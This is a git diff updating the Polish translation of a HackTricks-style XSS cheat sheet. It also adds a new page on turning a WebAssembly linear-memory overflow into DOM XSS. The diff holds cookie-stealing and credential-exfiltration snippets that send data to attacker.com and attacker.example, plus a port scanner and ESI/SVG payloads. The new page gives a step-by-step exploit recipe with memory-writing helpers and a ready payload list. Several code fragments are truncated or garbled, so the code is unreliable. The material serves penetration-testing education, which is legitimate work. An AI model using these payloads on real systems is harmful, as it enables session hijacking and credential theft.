-### Several payloads in 1
+### Kilka payloads w 1
{{#ref}}
@@ -1282,14 +1294,14 @@ steal-info-js.md
### Iframe Trap
-Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytuj jego działania (w tym informacje wysyłane w formularzach):
+Zmusić użytkownika do poruszania się po stronie bez opuszczania iframe i przechwycić jego działania (w tym informacje wysyłane w formularzach):
{{#ref}}
../iframe-traps.md
{{#endref}}
-### Pobierz Cookies
+### Pobieranie cookies
```javascript
/?c="+document.cookie>
@@ -1312,7 +1324,7 @@ Spraw, aby użytkownik nawigował po stronie bez opuszczania iframe i przechwytu
```
> [!TIP]
-> **Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli będziesz miał szczęście.
+> Nie będziesz w stanie uzyskać dostępu do cookies z poziomu JavaScript, jeśli flaga HTTPOnly jest ustawiona w cookie. Ale tutaj masz [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) jeśli będziesz miał szczęście.
### Kradzież zawartości strony
```javascript
@@ -1388,7 +1400,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
-### Port Scanner (websockets)
+### Skaner portów (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i::placeholder { color:white; }
```
@@ -1422,11 +1434,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
-Kiedy jakiekolwiek dane zostaną wprowadzone w polu password, username i password są wysyłane do attackers server — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
+Kiedy w polu password zostanie wprowadzona jakakolwiek wartość, username i password są wysyłane na serwer atakującego — nawet jeśli klient wybierze saved password i nic nie wpisze, credentials zostaną ex-filtrated.
### Hijack form handlers to exfiltrate credentials (const shadowing)
-Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. poprzez inline JS-in-JS sink), zadeklaruj najpierw `const` o tej samej nazwie, aby przejąć i zablokować handler. Późniejsze deklaracje funkcji nie mogą ponownie powiązać nazwy zadeklarowanej jako `const`, pozostawiając twój hook pod kontrolą:
+Jeśli krytyczny handler (np. `function DoLogin(){...}`) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. przez inline JS-in-JS sink), zdefiniuj najpierw `const` o tej samej nazwie, żeby preempt and lock the handler. Późniejsze deklaracje funkcji nie mogą rebindować nazwy `const`, dzięki czemu twój hook pozostaje w kontroli:
```javascript
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
@@ -1435,18 +1447,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
};
```
Notatki
-- Zależy to od kolejności wykonywania: your injection musi wykonać się przed prawidłową deklaracją.
-- Jeśli twój payload jest opakowany w `eval(...)`, wiązania `const/let` nie staną się globalne. Użyj dynamicznej techniki `
@@ -1561,7 +1573,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Dostęp do ukrytej zawartości
-From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć nawet po usunięciu wartości pola input regex:
+Z [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład input REGEX można nadal odnaleźć, nawet po usunięciu wartości pola input regexu:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@@ -1578,7 +1590,8 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
-### Lista Brute-Force
+### Brute-Force List
+
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
@@ -1588,26 +1601,26 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### XSS w Markdown
-Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może w ten sposób uzyskasz XSS! Sprawdź:
+Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda się uzyskać XSS! Sprawdź:
{{#ref}}
xss-in-markdown.md
{{#endref}}
-### XSS do SSRF
+### XSS to SSRF
-Masz XSS na **stronie korzystającej z cache'owania**? Spróbuj **przekształcić to w SSRF** przez Edge Side Include Injection, używając tego payloadu:
+Masz XSS na stronie, która używa pamięci podręcznej? Spróbuj podnieść to do SSRF przez Edge Side Include Injection przy użyciu tego payloadu:
```python
```
-Użyj go, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!\
+Use it to bypass cookie restrictions, XSS filters and much more!\
Więcej informacji o tej technice tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
-### XSS w dynamicznie tworzonym PDF
+### XSS w dynamicznie tworzonym pliku PDF
-Jeśli strona tworzy PDF przy użyciu danych pochodzących od użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
-Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **HTML** **tagów**, zacznie je **interpretować**, i możesz **nadużyć** tego zachowania, aby spowodować **Server XSS**.
+Jeśli strona WWW tworzy PDF, używając danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
+Jeśli więc **bot tworzący PDF znajdzie** jakiś rodzaj **tagów HTML**, będzie je **interpretował**, i możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
{{#ref}}
@@ -1623,15 +1636,15 @@ pdf-injection.md
### XSS w Amp4Email
-AMP, mające na celu przyspieszenie wydajności stron na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność ze szczególnym naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites).
+AMP, mające na celu przyspieszenie wydajności stron WWW na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScriptem, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych przez [AMP components](https://amp.dev/documentation/components/?format=websites).
-The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach e-mail.
+Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza wybrane komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w wiadomościach.
-Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Przykład [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS przy przesyłaniu plików (svg)
-Prześlij jako obraz plik taki jak poniższy (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
+Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
@@ -1689,7 +1702,7 @@ id="foo"/>
```
Znajdź **więcej SVG payloads w** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
-## Różne triki JS i istotne informacje
+## Różne JS Tricks & istotne informacje
{{#ref}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
new file mode 100644
index 000000000..d9bad8030
--- /dev/null
+++ b/src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md
@@ -0,0 +1,133 @@
+# WebAssembly linear memory corruption to DOM XSS (template overwrite)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Ta technika pokazuje, jak błąd korupcji pamięci w module WebAssembly (WASM) skompilowanym za pomocą Emscripten można wykorzystać do niezawodnego DOM XSS, nawet gdy wejście jest zsanitowane. Pivot polega na uszkodzeniu zapisywalnych stałych w WASM linear memory (np. HTML format templates) zamiast atakować zsanitowany string źródłowy.
+
+Key idea: W modelu WebAssembly kod znajduje się w nie-zapisywalnych stronach wykonywalnych, natomiast dane modułu (heap/stack/globals/"constants") mieszczą się w jednej płaskiej linear memory (strony po 64KB), która jest zapisywalna przez moduł. Jeśli błędny kod C/C++ zapisze poza granicami, można nadpisać sąsiednie obiekty, a nawet stałe łańcuchy osadzone w linear memory. Gdy taka stała zostanie później użyta do budowy HTML do wstawienia przez DOM sink, zsanitowane wejście można przekształcić w wykonywalny JavaScript.
+
+Threat model and preconditions
+- Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
+- Stan aplikacji znajduje się w WASM linear memory (np. C structs z pointers/lengths do user buffers).
+- Input sanitizer koduje metaznaki przed zapisaniem, ale późniejsze renderowanie buduje HTML używając format string przechowywanego w WASM linear memory.
+- Istnieje prymityw korupcji linear-memory (np. heap overflow, UAF, lub unchecked memcpy).
+
+Minimal vulnerable data model (example)
+```c
+typedef struct msg {
+char *msg_data; // pointer to message bytes
+size_t msg_data_len; // length after sanitization
+int msg_time; // timestamp
+int msg_status; // flags
+} msg;
+
+typedef struct stuff {
+msg *mess; // dynamic array of msg
+size_t size; // used
+size_t capacity; // allocated
+} stuff; // global chat state in linear memory
+```
+Wzorzec podatnej logiki
+- addMsg(): alokuje nowy bufor o rozmiarze dopasowanym do oczyszczonego wejścia i dopisuje msg do s.mess, podwajając pojemność za pomocą realloc w razie potrzeby.
+- editMsg(): ponownie oczyszcza i za pomocą memcpy kopiuje nowe bajty do istniejącego bufora, nie zapewniając, że nowa długość ≤ starego przydziału → intra‑linear‑memory heap overflow.
+- populateMsgHTML(): formatuje oczyszczony tekst z wbudowanym stubem takim jak "
%.*s
" znajdującym się w linear memory. Zwrócone HTML trafia do DOM sink (np. innerHTML).
+
+Allocator grooming with realloc()
+```c
+int add_msg_to_stuff(stuff *s, msg new_msg) {
+if (s->size >= s->capacity) {
+s->capacity *= 2;
+s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
+if (s->mess == NULL) exit(1);
+}
+s->mess[s->size++] = new_msg;
+return s->size - 1;
+}
+```
+- Wyślij wystarczająco dużo wiadomości, aby przekroczyć początkową pojemność. Po rozszerzeniu, realloc() często umieszcza s->mess bezpośrednio po ostatnim buforze użytkownika w pamięci liniowej.
+- Przepełnij ostatnią wiadomość za pomocą editMsg(), aby nadpisać pola wewnątrz s->mess (np. nadpisać wskaźniki msg_data) → dowolne nadpisanie wskaźników w pamięci liniowej dla danych, które zostaną później wyrenderowane.
+
+Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
+- Oczyszczanie danych (sanitization) chroni wejście, nie sinki. Znajdź format stub używany przez populateMsgHTML(), np.:
+- "
%.*s
" → change to ""
+- Zlokalizuj stub deterministycznie przez skanowanie pamięci liniowej; jest to zwykły ciąg bajtów wewnątrz Module.HEAPU8.
+- Po nadpisaniu stuba, oczyszczona zawartość wiadomości staje się handlerem JavaScript dla onerror, więc dodanie nowej wiadomości z tekstem takim jak alert(1337) daje i wykonuje się natychmiast w DOM.
+
+Chrome DevTools workflow (Emscripten glue)
+- Ustaw breakpoint na pierwszym wywołaniu Module.cwrap w JS glue i wejdź do miejsca wywołania wasm, aby przechwycić argumenty wskaźnikowe (numeryczne offsety w pamięci liniowej).
+- Używaj typowanych widoków takich jak Module.HEAPU8 do odczytu/zapisu pamięci WASM z konsoli.
+- Helper snippets:
+```javascript
+function writeBytes(ptr, byteArray){
+if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
+for(let i=0;i255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
+HEAPU8[ptr+i]=byte;
+}
+}
+function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
+function readBytesAsChars(ptr,len){
+const bytes=HEAPU8.subarray(ptr,ptr+len);
+return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
+}
+function searchWasmMemory(str){
+const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
+for(let i=0;i bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
+```
+Pełny przepis na eksploatację end-to-end
+1) Przygotowanie: dodaj N małych wiadomości, aby wywołać realloc(). Upewnij się, że s->mess znajduje się obok bufora użytkownika.
+2) Przepełnienie: wywołaj editMsg() na ostatniej wiadomości z dłuższym ładunkiem, aby nadpisać wpis w s->mess, ustawiając msg_data wiadomości 0 tak, aby wskazywał na (stub_addr + 1). +1 pomija wiodący '<', aby zachować wyrównanie tagu podczas następnej edycji.
+3) Przepisywanie szablonu: edytuj wiadomość 0 tak, aby jej bajty nadpisały szablon następującym ciągiem: "img src=1 onerror=%.*s ".
+4) Wywołaj XSS: dodaj nową wiadomość, której oczyszczona zawartość to JavaScript, np. alert(1337). Renderowanie emituje i wykonuje kod.
+
+Przykładowa lista akcji do serializacji i umieszczenia w ?s= (zakoduj w Base64 przy użyciu btoa przed użyciem)
+```json
+[
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"add","content":"hi","time":1756840476392},
+{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
+{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
+{"action":"add","content":"alert(1337)","time":1756840476392}
+]
+```
+Dlaczego ten bypass działa
+- WASM zapobiega wykonywaniu kodu z linear memory, ale stałe dane wewnątrz linear memory są zapisywalne, jeśli logika programu jest błędna.
+- Mechanizm sanitizujący chroni tylko source string; przez uszkodzenie sinka (the HTML template), oczyszczone dane stają się wartością JS handler i wykonują się po wstawieniu do DOM.
+- realloc()-driven adjacency plus unchecked memcpy w ścieżkach edycji umożliwia korupcję wskaźników, by przekierować zapisy na adresy wybrane przez atakującego wewnątrz linear memory.
+
+Uogólnienie i inne powierzchnie ataku
+- Każdy in-memory HTML template, JSON skeleton lub URL pattern osadzony w linear memory może być celem, aby zmienić sposób, w jaki sanitized data jest interpretowane downstream.
+- Inne powszechne pułapki WASM: out-of-bounds writes/reads w linear memory, UAF na heap objects, function-table misuse z unchecked indirect call indices, oraz JS↔WASM glue mismatches.
+
+Zalecenia obronne
+- W ścieżkach edycji weryfikuj new length ≤ capacity; zmieniaj rozmiar buforów przed kopiowaniem (realloc to new_len) lub używaj API ograniczających rozmiar (snprintf/strlcpy) i śledź capacity.
+- Trzymaj immutable templates poza zapisywalnym linear memory lub sprawdzaj ich integralność przed użyciem.
+- Traktuj granice JS↔WASM jako nieufne: validate pointer ranges/lengths, fuzz exported interfaces, i ogranicz memory growth.
+- Sanityzuj przy sinku: unikaj budowania HTML w WASM; preferuj bezpieczne DOM APIs zamiast innerHTML-style templating.
+- Nie ufaj URL-embedded state w uprzywilejowanych przepływach.
+
+## References
+- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
+- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
+- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
+- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
+- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
+
+{{#include ../../banners/hacktricks-training.md}}